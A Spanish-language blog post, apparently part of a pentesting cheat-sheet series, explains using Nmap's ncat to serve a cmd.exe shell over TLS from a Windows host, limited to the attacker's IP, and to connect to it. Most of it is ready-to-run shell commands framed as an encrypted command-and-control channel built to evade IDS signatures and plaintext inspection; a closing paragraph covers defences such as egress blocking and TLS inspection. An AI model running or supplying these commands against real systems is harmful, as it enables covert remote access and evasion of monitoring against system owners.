← Blog

Ncat — Shells Cifradas con SSL y Control de Origen

Netcat del proyecto Nmap con TLS: reverse shells cifradas desde Windows (cmd.exe vía --exec), listeners con --allow y verificación de conexiones seguras.

1. Operational Scope & Technical Objective

ncat es la reimplementación de netcat del proyecto Nmap con características de red modernas: TLS (--ssl), filtrado de origen (--allow) y reutilización de conexiones. Su ventaja operativa frente a nc clásico es la evasión: una reverse shell encapsulada en TLS no se lee en claro en la captura ni la firma un IDS que solo busca strings de shell — el tráfico parece HTTPS. Combinado con --allow, el listener solo acepta al IP del atacante, reduciendo el descubrimiento del puerto de escucha.

2. High-Impact Syntax & Command Cheatsheet

# Reverse shell desde Windows con cmd.exe, encapsulada en SSL
ncat --exec cmd.exe --allow $ip -vnl 4444 --ssl
#   --exec cmd.exe -> al recibir conexión ejecuta cmd.exe (servidor que sirve la shell)
#   --allow $ip    -> solo acepta conexiones de la IP indicada
#   -v             -> verbose
#   -n             -> sin resolución DNS (más rápido y silencioso)
#   -l             -> modo listener (escucha)
#   4444           -> puerto de escucha
#   --ssl          -> cifra la conexión con TLS (evasión de inspección en claro)

# Conectar al listener SSL desde el equipo de control
ncat -v $ip 4444 --ssl
#   -v    -> verbose
#   --ssl -> el cliente negocia TLS con el listener

# Listener reutilizable (sigue escuchando tras cada conexión)
ncat -lk -p 4444 --ssl
#   -k  -> keep-open: no termina tras la primera conexión

3. Real-World Offensive/Defensive Scenarios

Canal C2 cifrado y de origen restringido. El patrón es: en el objetivo Windows, ncat --exec cmd.exe --allow <IP-atacante> -vnl 4444 --ssl monta un bind shell TLS que ignora a cualquier IP distinta del atacante; el operador conecta con ncat -v <IP> 4444 --ssl. Si el tráfico se intercepta, lo que se ve es una sesión TLS sin contenido de shell en claro — el IDS que detecta cmd.exe /c o bindshell strings no dispara.

Evasión de inspección en claro. Frente a un firewall/IDS de reglas por firma, TLS hace la shell indistinguible de tráfico HTTPS genérico en el puerto elegido. La contrapartida defensiva: los entornos modernos inspeccionan TLS en el perímetro (MITM de CA corporativa), por lo que el canal queda expuesto si el proxy corporativo fuerza su propio certificado.

Defensa. El --allow es una protección parcial (la IP se puede spoofear), no un control de autenticación: el control real es bloquear egress hacia puertos altos con TLS desde hosts no autorizados, y monitorizar en el endpoint la aparición de ncat/nc (binarios legítimos pero reutilizados por atacantes). La inspección TLS en el perímetro convierte estas shells en detectables cuando la CA corporativa es la que firma la sesión.